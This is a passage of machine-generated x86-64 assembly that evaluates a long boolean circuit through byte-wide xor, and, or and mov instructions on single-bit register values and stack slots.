xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
or al, bl
mov r9d, ebx
mov edx, eax
xor dl, 1
mov r8d, edx
and r8b, al
mov ebx, r8d
xor bl, 1
or bl, al
xor r8b, dl
xor bl, 1
or bl, r8b
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
and bl, cl
or bl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor r9b, al
mov ecx, r9d
xor cl, al
xor r9b, 1
or r9b, al
xor cl, 1
xor r9b, 1
or r9b, cl
mov byte [rsp + 0x40], r9b
mov r8d, r13d
xor r8b, 1
mov r11d, r13d
and r11b, r8b
mov ecx, r11d
and cl, r8b
xor r11b, r8b
or r11b, cl
mov esi, r10d
xor sil, 1
mov r12d, r10d
and r12b, sil
mov ecx, r12d
and cl, r10b
mov edx, r12d
xor dl, r10b
or dl, cl
mov eax, r13d
xor al, sil
and al, r13b
mov ecx, r10d
or cl, r13b
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov eax, edx
xor al, 1
mov edi, ecx
and cl, sil
xor r12b, 1
mov r9d, esi
xor r9b, r12b
or r12b, sil
or sil, r10b
and dl, sil
mov ebp, esi
xor bpl, 1
and al, bpl
or dl, al
mov r15d, r10d
xor r15b, bpl
mov eax, r10d
or al, bpl
xor al, 1
or al, r15b
mov ebx, edx
xor bl, al
xor dl, 1
or dl, al
xor bl, 1
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, r11d
xor al, 1
mov r14d, r11d
xor r14b, bl
mov r15d, r14d
xor r15b, al
and r15b, r14b
and bl, dl
mov r14d, ebx
and r14b, dl
xor bl, dl
or bl, r14b
and al, bl
xor bl, 1
and bl, r11b
or bl, al
xor r15b, 1
xor bl, 1
mov eax, r15d
xor al, bl
and bl, r15b
mov edx, eax
xor dl, 1
or bl, al
xor al, bl
or bl, dl
xor al, 1
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov r14d, ebx
and r14b, al
mov r11d, ebx
and r11b, r14b
xor r14b, bl
or r14b, r11b
or al, bl
mov r11d, eax
xor r11b, 1
mov edx, eax
and dl, r11b
mov r15d, eax
xor r15b, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, r15b
mov r11d, r14d
xor r11b, 1
and r11b, dl
xor dl, 1
and dl, r14b
or dl, r11b
mov r11d, ebx
and r11b, al
xor al, bl
or al, r11b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
xor al, dl
xor al, 1
or al, dl
xor dil, 1
and r10b, dil
or cl, r10b
xor dil, cl
and dil, cl
xor r12b, 1
or r12b, r9b
mov ecx, r12d
xor cl, 1
mov edx, ecx
and dl, r12b
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, r12b
xor dl, 1
or dl, bl
mov r9d, ecx
and r9b, sil
xor cl, sil
and sil, bpl
xor sil, 1
mov ebx, ebp
xor bl, sil
or sil, bpl
xor sil, 1
or sil, bl
xor sil, dl
or cl, r9b
xor sil, 1
mov edx, esi
xor dl, cl
or sil, cl
xor sil, 1
or sil, dl
and r13b, sil
xor sil, 1
and sil, r8b
or sil, r13b
xor sil, 1
mov ecx, esi
and cl, r8b
xor sil, r8b
or sil, cl
mov ebx, esi
xor bl, 1
mov ecx, edi
xor cl, 1
and sil, cl
mov r8d, edi
and r8b, bl
or r8b, sil
mov edx, ebx
xor dl, cl
xor cl, r8b
and cl, r8b
xor dl, 1
and dl, bl
xor bl, dil
and bl, dil
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov edx, ecx
xor dl, 1
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov r14d, eax
xor r14b, 1
mov ecx, eax
and cl, r14b
mov edx, ecx
xor dl, 1
mov r8d, ecx
xor r8b, r14b
mov edi, edx
or dil, al
xor dil, 1
or dil, r8b
mov r8d, edi
and r8b, dl
xor dil, 1
and dil, cl
or dil, r8b
xor dl, al
or cl, r14b
xor cl, 1
or cl, dl
mov edx, edi
xor dl, cl
xor dil, 1
or dil, cl
xor dl, 1
xor dil, 1
or dil, dl
mov ebp, ebx
xor bpl, 1
mov ecx, ebx
and cl, bpl
mov r8d, ebp
and r8b, cl
mov r11d, ebp
xor r11b, cl
or r11b, r8b
mov edx, r11d
xor dl, 1
or dl, r11b
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
mov r8d, edx
xor r8b, 1
mov r11d, ecx
xor cl, 1
and cl, r8b
and r11b, dl
or cl, r11b
mov r8d, edx
and r8b, bpl
xor dl, bpl
or dl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, 1
mov r9d, edx
xor r9b, cl
mov r11d, ecx
or r11b, dl
and cl, dl
xor cl, 1
mov esi, edx
xor sil, cl
or cl, dl
xor cl, 1
or cl, sil
mov r12d, edi
xor r12b, 1
mov r13d, r12d
or r13b, dil
mov r15d, ecx
xor r15b, 1
mov edx, r12d
or dl, r13b
mov byte [rsp + 0x38], dl
mov byte [rsp + 0x5c], r13b
and r13b, dil
mov edx, r15d
or dl, r11b
mov byte [rsp + 0x34], dl
mov byte [rsp + 0x50], r11b
and r11b, cl
mov esi, r15d
and sil, cl
or cl, dil
mov r8d, edi
and dil, r12b
xor r8b, r12b
or r8b, dil
mov edx, r8d
xor dl, 1
and dl, r8b
xor dl, 1
mov r10d, r8d
xor r10b, dl
or dl, r8b
xor dl, 1
or dl, r10b
xor r14b, al
xor al, r14b
and al, r14b
or bl, bpl
xor bl, 1
or bl, bpl
mov r8d, eax
xor r8b, 1
and al, r8b
xor al, 1
mov r10d, eax
xor r10b, r8b
or al, r8b
xor al, 1
or al, r10b
xor al, dl
xor dl, 1
mov r10d, edx
and r10b, r8b
xor dl, r8b
or dl, r10b
mov r8d, edx
xor r8b, 1
and r8b, dl
mov r10d, edx
and r10b, r8b
xor r8b, dl
or r8b, r10b
xor al, 1
xor r8b, al
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
xor r8b, 1
mov edx, r8d
xor dl, al
or r8b, al
xor r8b, 1
or r8b, dl
movzx eax, byte [rsp + 0x50]
xor al, 1
or r9b, al
mov ebp, eax
xor r9b, 1
mov edx, ebx
xor dl, 1
xor bl, r9b
xor bl, 1
mov r10d, r9d
or r10b, dl
xor r10b, 1
or r10b, bl
mov eax, edx
xor al, r9b
and dl, al
and al, r9b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, r10d
xor dl, 1
mov ebx, eax
xor bl, 1
and al, r10b
and dl, bl
or dl, al
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, edx
xor al, bl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov r9d, r8d
xor r9b, 1
mov r10d, edx
xor r10b, 1
and r8b, r10b
and dl, r9b
or dl, r8b
mov ebx, r9d
xor bl, r10b
xor r10b, dl
and r10b, dl
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, 1
and dl, bl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor r10b, 1
xor dl, r10b
mov r8d, r10d
and r8b, bl
xor r10b, bl
or r10b, r8b
xor dl, 1
mov ebx, edx
xor bl, r10b
or r10b, dl
xor r10b, 1
or r10b, bl
movzx eax, byte [rsp + 0x5c]
xor al, 1
and al, r12b
or r13b, al
movzx eax, byte [rsp + 0x38]
mov edx, eax
xor dl, r13b
xor r13b, 1
or r13b, al
xor dl, 1
xor r13b, 1
or r13b, dl
and bpl, r15b
or r11b, bpl
movzx eax, byte [rsp + 0x34]
mov edx, eax
xor dl, r11b
xor r11b, 1
or r11b, al
xor dl, 1
xor r11b, 1
or r11b, dl
mov edx, r11d
xor dl, 1
or dl, r13b
xor r13b, 1
or r13b, r11b
mov ebx, edx
xor bl, r13b
or r13b, dl
xor r13b, 1
or r13b, bl
mov edx, r12d
and dl, dil
xor dil, r12b
or dil, dl
mov edx, r15d
and dl, sil
xor sil, r15b
or sil, dl
xor sil, dil
xor r15b, r12b
xor cl, 1
or cl, r15b
xor sil, 1
mov edx, esi
xor dl, cl
or cl, sil
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r13d
xor dl, 1
and r13b, dl
mov ebx, edx
and bl, r13b
xor r13b, dl
or r13b, bl
mov ebx, ecx
xor bl, 1
mov r8d, edx
and r8b, bl
xor dl, bl
mov r9d, ebx
and bl, cl
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
xor bl, r13b
or dl, r8b
mov ecx, ebx
xor cl, 1
xor bl, dl
or dl, cl
xor bl, 1
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov ebx, edx
and bl, r9b
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov eax, r9d
or al, dl
mov ecx, eax
xor cl, 1
mov r8d, ebx
xor r8b, 1
and r8b, al
and bl, cl
or bl, r8b
xor al, dl
or cl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov esi, ecx
xor sil, 1
and sil, cl
xor sil, 1
mov edx, ecx
xor dl, sil
or sil, cl
xor sil, 1
or sil, dl
mov ecx, r10d
xor cl, 1
mov edx, ecx
or dl, r10b
mov r8d, edx
xor r8b, 1
mov ebx, ecx
xor bl, dl
and r8b, r10b
and dl, cl
or dl, r8b
and bl, cl
xor bl, 1
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
mov r8d, esi
xor r8b, 1
mov eax, r8d
xor al, sil
and al, r8b
mov r9d, esi
or r9b, r8b
xor al, 1
mov r11d, eax
xor r11b, r9b
and al, r9b
mov r9d, r11d
xor r9b, 1
or al, r11b
xor r11b, al
or al, r9b
xor r11b, 1
xor al, 1
or al, r11b
xor dl, 1
mov ebx, eax
xor bl, dl
xor bl, 1
and bl, al
or dl, al
mov eax, ebx
xor al, dl
xor bl, 1
or bl, dl
xor al, 1
xor bl, 1
or bl, al
and r8b, r10b
or r10b, sil
and cl, sil
or cl, r8b
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
xor cl, bl
and bl, cl
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
movzx ecx, byte [rsp + 0x44]
mov r9d, ecx
xor r9b, 1
xor bl, 1
or bl, al
mov byte [rsp + 0x34], bl
mov r11d, r9d
or r11b, cl
mov esi, r11d
xor sil, 1
mov edx, esi
and dl, r9b
mov eax, ecx
and al, r11b
or al, dl
mov edx, ecx
xor dl, r11b
and dl, cl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
mov edx, r9d
and dl, cl
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov edi, edx
xor dil, 1
mov ecx, edi
and cl, dl
mov r8d, edi
and r8b, cl
xor cl, dil
or cl, r8b
or dil, dl
mov r8d, eax
xor r8b, 1
mov edx, eax
and al, r8b
xor al, 1
mov r10d, eax
xor r10b, r8b
or al, r8b
xor al, 1
or al, r10b
or dl, r8b
xor al, dl
mov r10d, r8d
and r10b, dl
xor dl, r8b
or dl, r10b
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
mov ebx, ecx
xor bl, dil
xor cl, 1
or dil, cl
xor dil, 1
xor bl, 1
mov eax, edi
and al, bl
xor bl, dil
or bl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov r10d, edx
xor r10b, al
or al, dl
xor al, 1
or al, r10b
mov edx, ebx
xor dl, 1
and bl, dl
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
xor bl, al
mov eax, r8d
or al, cl
xor cl, r8b
xor al, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, cl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r10d, ebx
movzx ecx, byte [rsp + 0x40]
mov r13d, ecx
xor r13b, 1
mov r8d, ecx
and r8b, r13b
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edi, ecx
xor dil, 1
mov r14d, ecx
or r14b, dil
mov eax, r14d
and al, cl
mov edx, r14d
xor dl, cl
or al, dl
mov ebp, edx
xor bpl, al
xor dl, 1
or dl, al
xor bpl, 1
xor dl, 1
or dl, bpl
xor dil, cl
xor r14b, 1
or r14b, dil
mov eax, r14d
xor al, 1
mov edi, eax
and dil, r14b
mov ecx, edi
xor dil, al
mov ebp, edx
xor bpl, al
or al, dl
mov ebx, edx
xor dl, 1
and bl, dl
xor bl, 1
mov r12d, ebx
xor r12b, dl
or bl, dl
xor bl, 1
or bl, r12b
xor cl, 1
or cl, r14b
xor cl, 1
or cl, dil
xor cl, bl
xor al, 1
or al, bpl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
or cl, al
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
mov edi, ecx
and dil, dl
xor cl, al
and al, bl
or al, dil
or bl, dl
xor bl, 1
or bl, cl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov byte [rsp + 0x50], bl
mov r14d, r10d
mov byte [rsp + 0x38], r10b
mov r12d, r10d
xor r12b, 1
mov eax, r12d
and al, r10b
mov ecx, r10d
and cl, al
xor r14b, al
mov r10d, eax
or r14b, cl
mov ecx, ebx
xor cl, 1
mov eax, ebx
or al, cl
mov byte [rsp + 0x5c], al
mov edi, ecx
xor dil, al
mov eax, edi
and al, cl
mov edx, ecx
and dl, bl
mov byte [rsp + 0x58], dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov byte [rsp + 0x67], bl
and cl, bl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov byte [rsp + 0x65], cl
xor cl, 1
and cl, r12b
mov byte [rsp + 0x68], cl
mov r15d, r10d
xor r10b, r12b
mov byte [rsp + 0x6b], r10b
mov ebp, r12d
mov ecx, r12d
movzx ebx, byte [rsp + 0x38]
or r12b, bl
mov byte [rsp + 0x69], r12b
mov edx, r12d
xor dl, 1
mov byte [rsp + 0x6a], dl
xor bpl, dl
or cl, dl
xor cl, 1
or cl, bpl
xor r14b, dl
mov edx, r14d
xor dl, cl
or cl, r14b
xor cl, 1
or cl, dl
xor r15b, 1
mov edx, ebx
xor dl, r15b
or r15b, bl
xor r15b, 1
mov byte [rsp + 0x66], r15b
or dl, r15b
mov ebp, ecx
xor bpl, 1
mov ebx, edx
xor bl, cl
and bl, dl
or dl, bpl
xor dl, 1
mov r14d, ebx
and r14b, dl
xor dl, bl
or dl, r14b
mov r10d, edx
and dl, cl
xor r10b, 1
and bpl, r10b
or dl, bpl
xor r10b, dl
and r10b, dl
mov ecx, r9d
and cl, r11b
movzx edx, byte [rsp + 0x44]
and sil, dl
or sil, cl
or r11b, dl
mov ebx, edx
xor r11b, 1
mov ecx, r11d
and cl, sil
xor sil, r11b
or sil, cl
mov ecx, esi
xor cl, 1
and sil, cl
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov ecx, esi
xor cl, 1
mov r11d, ecx
and r11b, sil
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
xor r11b, r9b
xor cl, r9b
or sil, bl
xor sil, 1
or sil, cl
xor r11b, 1
mov ecx, r11d
xor cl, sil
or r11b, sil
xor r11b, 1
or r11b, cl
mov ecx, r11d
xor cl, 1
and r11b, cl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
xor al, 1
mov ecx, eax
xor cl, dil
or al, dil
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov edx, r9d
or dl, al
xor dl, 1
mov esi, edx
xor sil, al
mov ecx, esi
xor cl, 1
and cl, dl
mov edx, ecx
and dl, sil
xor cl, sil
or cl, dl
and al, r9b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r9d, edx
xor r9b, bl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
and r9b, dl
mov ecx, r9d
and r9b, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, r9b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor al, dl
xor al, 1
or al, dl
mov byte [rsp + 0x64], al
xor r8b, 1
mov ecx, r13d
xor cl, r8b
or r8b, r13b
xor r8b, 1
or r8b, cl
mov ecx, r8d
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, 1
mov edx, r13d
and dl, cl
movzx ebx, byte [rsp + 0x40]
or cl, bl
and al, bl
or al, dl
xor cl, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
or cl, r13b
xor al, r13b
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov byte [rsp + 0x44], al
mov esi, r10d
xor sil, 1
mov r9d, r10d
or r9b, sil
mov edx, r9d
xor dl, 1
mov ebx, r10d
or bl, r9b
and dl, r10b
and r9b, sil
or r9b, dl
xor r9b, 1
mov edx, ebx
xor dl, r9b
or r9b, bl
xor r9b, 1
or r9b, dl
mov edx, r11d
xor dl, 1
mov edi, edx
and dil, r11b
mov r8d, edx
and r8b, dil
xor dl, dil
or dl, r8b
mov ebp, edx
xor bpl, 1
or bpl, dl
xor bpl, 1
mov r8d, edx
and r8b, bpl
xor bpl, dl
or bpl, r8b
mov r15d, r9d
xor r15b, 1
mov byte [rsp + 0x40], r15b
mov ebx, r9d
and bl, r15b
mov edx, r15d
and dl, bl
xor r15b, bl
or r15b, dl
mov eax, ebp
xor al, 1
mov byte [rsp + 0x63], al
mov r14d, ebp
and r14b, al
mov r8d, r14d
xor r8b, 1
mov edx, ebp
xor dl, r8b
or r8b, bpl
xor r8b, 1
or r8b, dl
mov r12d, r8d
xor r12b, 1
mov edx, r8d
or dl, r12b
xor r12b, r15b
and r12b, r15b
xor r8b, r15b
mov r13d, r15d
xor r15b, 1
or r13b, r15b
mov ecx, r15d
xor cl, r13b
or r15b, r13b
xor r15b, 1
or r15b, cl
mov eax, r15d
xor al, 1
mov ecx, eax
and cl, r15b
xor al, cl
xor cl, 1
or cl, r15b
xor cl, 1
or cl, al
and sil, r10b
xor r10b, sil
and r10b, sil
xor r11b, dil
and r11b, dil
mov eax, ecx
xor al, 1
xor r10b, 1
mov esi, eax
and sil, r10b
xor al, r10b
or al, sil
xor r10b, cl
mov ecx, eax
xor cl, r10b
or r10b, al
xor cl, 1
mov eax, r10d
xor al, cl
or r10b, cl
xor r10b, 1
or r10b, al
movzx ecx, byte [rsp + 0x63]
mov eax, ecx
xor al, bpl
xor al, 1
or al, cl
mov r15d, ecx
mov esi, eax
xor sil, 1
mov edi, r11d
xor dil, 1
xor al, dil
mov ecx, esi
or cl, r11b
xor cl, 1
or cl, al
and r11b, dil
xor r11b, 1
mov eax, r11d
xor al, dil
or r11b, dil
xor r11b, 1
or r11b, al
xor r11b, sil
mov esi, ecx
xor sil, 1
mov eax, r11d
xor al, 1
and r11b, cl
or cl, al
and al, sil
or al, r11b
mov r11d, ecx
xor r11b, al
xor al, 1
or al, cl
xor r11b, 1
xor al, 1
or al, r11b
mov ecx, eax
xor cl, 1
mov r11d, ecx
and r11b, al
mov esi, ecx
xor sil, r11b
xor r11b, 1
or r11b, al
xor r11b, 1
or r11b, sil
mov eax, ecx
and al, r10b
xor cl, r10b
or cl, al
xor r10b, 1
xor r11b, r10b
xor r11b, 1
or r11b, r10b
xor cl, 1
xor r11b, 1
mov eax, ecx
xor al, r11b
or r11b, cl
xor r11b, 1
or r11b, al
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov eax, r13d
xor al, 1
mov r10d, eax
and r10b, r13b
mov ecx, r10d
xor cl, 1
or cl, r13b
xor r10b, al
xor cl, 1
or cl, r10b
xor bl, 1
mov r10d, ebx
movzx esi, byte [rsp + 0x40]
xor r10b, sil
or bl, sil
xor bl, 1
or bl, r10b
xor bl, cl
mov ecx, eax
xor cl, r9b
or al, r9b
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r9d, edx
xor r9b, 1
mov ebx, r9d
and bl, dl
mov ecx, ebx
xor bl, r9b
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, r14d
and bl, bpl
xor r14b, bpl
or r14b, bl
xor r14b, cl
mov ecx, edx
and cl, r15b
xor dl, r15b
or dl, cl
xor dl, 1
mov ecx, r14d
and cl, dl
xor dl, r14b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
and cl, al
xor al, 1
xor dl, 1
and dl, al
or dl, cl
mov eax, r12d
xor al, 1
xor r12b, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, r12b
mov eax, r8d
xor al, 1
and al, r8b
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, eax
or dl, bl
mov ecx, ebx
and cl, al
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov r8d, ebx
xor r8b, dl
or bl, dl
xor bl, 1
or bl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, cl
or bl, r8b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov eax, r11d
xor al, 1
mov ecx, eax
and cl, r11b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r10d, ebx
xor r10b, 1
mov r8d, r10d
or r8b, bl
mov edx, ebx
xor dl, r10b
and dl, bl
mov r9d, r8d
xor r9b, dl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, r9b
or dl, r9b
xor dl, 1
or dl, r8b
mov eax, r11d
xor al, dl
and dl, al
and al, r11b
mov r8d, edx
xor r8b, 1
xor dl, al
xor al, 1
or al, r8b
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and r10b, dl
or dl, bl
and cl, bl
or cl, r10b
xor dl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, eax
xor r8b, 1
mov edx, eax
and dl, r8b
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, r8d
and dl, cl
xor r8b, cl
or r8b, dl
xor r8b, 1
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
movzx edx, byte [rsp + 0x64]
mov eax, edx
xor al, 1
mov esi, eax
or sil, dl
xor sil, 1
mov ecx, eax
xor cl, dl
and cl, al
xor cl, sil
xor cl, 1
and sil, cl
xor sil, 1
mov ebx, esi
xor bl, cl
or sil, cl
xor sil, 1
or sil, bl
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r11d, esi
xor r11b, 1
mov eax, esi
and al, r11b
xor al, 1
mov ebx, r11d
xor bl, al
or al, r11b
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
movzx eax, byte [rsp + 0x44]
mov r9d, eax
xor r9b, 1
mov ecx, eax
and cl, r9b
mov r10d, eax
and r10b, cl
xor cl, al
or cl, r10b
mov r10d, r9d
or r10b, al
mov edi, ecx
xor dil, r10b
or r10b, cl
mov r15d, ecx
xor cl, 1
mov ebp, eax
mov r13d, eax
and bpl, cl
and r15b, r9b
or r15b, bpl
xor r15b, 1
or r15b, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov ebp, ebx
xor bpl, cl
or cl, bl
xor cl, 1
or cl, bpl
mov ebp, ecx
xor bpl, 1
mov ebx, ebp
and bl, cl
mov r14d, ebp
xor r14b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r14b
mov r14d, edx
xor r14b, 1
mov eax, r14d
and al, dl
mov r12d, r14d
and r12b, al
xor al, r14b
or al, r12b
xor al, bpl
or bpl, cl
mov r12d, ebx
xor r12b, bpl
or bpl, bl
xor bpl, 1
or bpl, r12b
mov ebx, ebp
and bpl, r14b
xor bl, 1
and bl, dl
or bpl, bl
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bpl
mov eax, ecx
and cl, bpl
xor al, 1
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
xor r10b, 1
or r10b, dil
mov edx, r15d
xor dl, 1
mov ebp, r15d
xor bpl, dl
and bpl, r15b
mov ebx, ebp
xor bl, 1
and bl, bpl
mov edi, ebx
and dil, bpl
xor bl, bpl
or bl, dil
mov eax, r15d
or al, dl
xor al, 1
xor bl, al
mov edi, ebp
xor dil, al
or al, bpl
xor al, 1
or al, dil
xor al, 1
mov edi, ebx
and dil, al
xor al, bl
or al, dil
mov ebx, eax
xor bl, 1
and al, bl
mov edi, ebx
and dil, al
xor al, bl
or al, dil
xor al, r10b
mov ebx, r9d
xor bl, dl
and r15b, r13b
and dl, r9b
or dl, r15b
and bl, r9b
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
mov ebx, edx
xor bl, 1
mov r10d, ebx
and r10b, al
xor al, 1
and dl, al
or dl, r10b
mov r10d, eax
xor r10b, bl
or al, bl
xor al, 1
or al, r10b
mov ebx, edx
xor bl, al
xor dl, 1
or dl, al
xor bl, 1
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r10d, ebx
xor r10b, al
xor al, 1
or al, dl
xor al, 1
or al, r10b
mov r10d, ecx
xor r10b, 1
and cl, r10b
mov edi, r10d
and dil, cl
xor cl, r10b
or cl, dil
xor bl, cl
or cl, dl
xor bl, 1
xor cl, 1
or cl, bl
xor al, r10b
xor al, 1
or al, r10b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r10d, edx
and r10b, bl
xor dl, bl
or dl, r10b
mov r10d, eax
xor r10b, 1
mov ebx, edx
xor bl, 1
and bl, r10b
and dl, al
or dl, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, esi
and cl, r9b
and r13b, sil
xor sil, r9b
or sil, cl
and r11b, r9b
or r11b, r13b
mov ecx, esi
xor cl, 1
mov edx, esi
and dl, r11b
xor r11b, 1
and cl, r11b
or cl, dl
mov edx, esi
and dl, r11b
xor r11b, sil
or r11b, dl
mov edx, ecx
xor dl, r11b
xor cl, 1
or cl, r11b
xor dl, 1
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or bl, dl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov edx, ebx
xor dl, 1
or bl, dl
xor dl, bl
and dl, bl
xor al, 1
mov ebp, eax
xor bpl, dl
xor bpl, 1
